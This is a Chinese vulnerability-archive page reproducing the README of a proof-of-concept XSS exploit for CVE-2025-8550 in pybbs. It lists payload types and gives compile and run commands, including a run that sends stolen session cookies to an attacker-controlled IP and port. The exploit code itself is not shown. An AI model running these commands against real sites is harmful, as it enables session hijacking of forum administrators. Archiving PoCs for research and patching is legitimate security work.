目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2025-8550 PoC — pybbs 代码注入漏洞

来源
关联漏洞
标题: pybbs 代码注入漏洞 (CVE-2025-8550)
Description:pybbs是iuiu个人开发者的一个Java开发的社区平台。 pybbs 6.0.0及之前版本存在代码注入漏洞,该漏洞源于文件/admin/topic/list中参数Username处理不当,可能导致跨站脚本攻击。
Description
 XSS exploit for CVE-2025-8550 in atjiu pybbs ≤6.0.0 
介绍
# CVE-2025-8550 – atjiu pybbs XSS Exploit

## Description

This repository hosts an automated Proof-of-Concept (PoC) exploit for **CVE-2025-8550**, a reflected Cross‑Site Scripting (XSS) vulnerability in **atjiu pybbs** (≤ v6.0.0). It targets the `/admin/topic/list` endpoint’s `username` parameter, which lacks proper input sanitization.

## Features

* **20+ Payload Variations:** script, SVG, iframe, object, onerror handlers and more.
* **Automatic URL Encoding:** ensures safe injection via libcurl’s `curl_easy_escape`.
* **Cookie Exfiltration (Optional):** beacon injection to send `document.cookie` to an attacker‑controlled server.
* **Multithreading:** uses pthreads to parallelize attempts and speed up testing.
* **Customizable CLI:** powered by `argparse`, supports specifying:

  * Target URL (`-u` / `--url`)
  * Cookie file for authenticated requests (`-c` / `--cookies`)
  * Enable cookie payload (`-k` / `--cokpay`)
  * Attacker server IP/port (`-i` / `--ip`, `-p` / `--port`)
  * Verbose logging (`-v` / `--verbose`)

## References

* **NVD:** [CVE-2025-8550](https://nvd.nist.gov/vuln/detail/CVE-2025-8550)

## Build & Usage

```
# Compile the exploit binary
gcc exploit.c argparse.c -o CVE-2025-8550 -lcurl -lpthread 

# Run against target
./CVE-2025-8550 -u http://<TARGET> -v [-c [COOKIE_FILE]]

#COOKIE SEND :
./CVE-2025-8550 -u http://TARGET -i <YOUR_IP> -p <YOUR_PORT> -v [VERBOSE_MODE] -k [PAYLOAD_COOKIE]
```

* Replace `http://<TARGET>` with your instance of atjiu pybbs.
* Use `-k` to enable the cookie‑stealing beacon (requires `-i` and `-p`).
* Omit `-c` if no authentication cookies are needed.

## References :
- NVD Entry : https://nvd.nist.gov/vuln/detail/CVE-2025-8550


## License :

MIT License


文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →